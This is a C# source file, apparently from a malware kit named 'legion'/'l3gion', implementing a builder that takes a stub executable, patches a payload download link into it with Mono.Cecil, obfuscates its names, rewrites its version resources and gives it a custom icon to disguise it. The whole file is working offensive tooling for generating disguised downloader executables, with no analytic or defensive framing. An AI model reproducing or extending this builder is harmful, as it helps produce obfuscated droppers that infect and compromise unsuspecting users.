using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net.NetworkInformation;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using Jose;
using Mono.Cecil;
using Mono.Cecil.Cil;
using Mono.Cecil.Rocks;
using legion.builder.Components.Utilities;
using Vestris.ResourceLib;
using legion.builder.Build;
using legion.newbuilders;
using newrenamer;

namespace legion.NEWbuilder
{
    internal class NewBuilder
    {
        private const string _payloadFile = "setupstub.exe"; //legion.stub

        public void Build(string outputFilePath)
        {
            if (!File.Exists(_payloadFile))
            {
                MessageBox.Show(_payloadFile + "Stub Not Found... Please Reinstall the program to fix this problem.", "l3gion Exiting...", MessageBoxButtons.OK, MessageBoxIcon.Error);
                return;
            }
            else
            {
                var iv = Encoding.UTF8.GetBytes(Common.GenerateRandomString(12));
                var key = Encoding.UTF8.GetBytes(Common.GenerateRandomString(32));

                try
                {
                    var tempFile = Common.GenerateRandomString(10) + ".tmp";

                    var assembly = AssemblyDefinition.ReadAssembly(_payloadFile);
                    var settings = assembly.MainModule.Types.Single(x => x.FullName == "setupstub.NewSettngs");
                    var cctor = settings.GetStaticConstructor();

                    var strings = 0;
                    var bools = 0;

                    foreach (var instruction in cctor.Body.Instructions)
                    {
                        if (instruction.OpCode == OpCodes.Ldstr) // String
                        {
                            switch (++strings)
                            {
                                case 1:
                                    instruction.Operand = (NewSettings.payloadlink);
                                    break;


                            }
                        }
                        else if (instruction.OpCode == OpCodes.Ldc_I4_0 || instruction.OpCode == OpCodes.Ldc_I4_1) // Boolean
                        {
                            switch (++bools)
                            {




                            }
                        }
                    }
                   var renamer = new NewRenamer(assembly);

                    renamer.Perform();

                    assembly.Write(tempFile);

                    var resource = new VersionResource();
                    resource.LoadFrom(tempFile);
                    resource.Language = 0;

                    var stringFileInfo = (StringFileInfo)resource["StringFileInfo"];


                    StringTableEntry.ConsiderPaddingForLength = true;
                    resource.SaveTo(tempFile);

                    if (File.Exists(legion.newbuilders.NewSettings.IconPath) && legion.newbuilders.NewSettings.IconPath.ToLower().EndsWith(".ico") && File.Exists(tempFile))
                    {
                        try
                        {
                            var iconFile = new IconFile(legion.newbuilders.NewSettings.IconPath);
                            var iconDirectoryResource = new IconDirectoryResource(iconFile);
                            iconDirectoryResource.SaveTo(tempFile);
                        }
                        catch { }
                    }
                    if (File.Exists(outputFilePath))
                    {
                        File.Delete(outputFilePath);
                    }

                    File.Move(tempFile, outputFilePath);

                    if (File.Exists(tempFile))
                    {
                        File.Delete(tempFile);
                    }
                    MessageBox.Show($"Saved to \"{outputFilePath}\".", "DONE!", MessageBoxButtons.OK, MessageBoxIcon.Information);
                }
                catch (Exception ex)
                {
                    MessageBox.Show($"Build Error: {ex.Message}", "Error ", MessageBoxButtons.OK, MessageBoxIcon.Error);
                }
            }
        }

    }
}
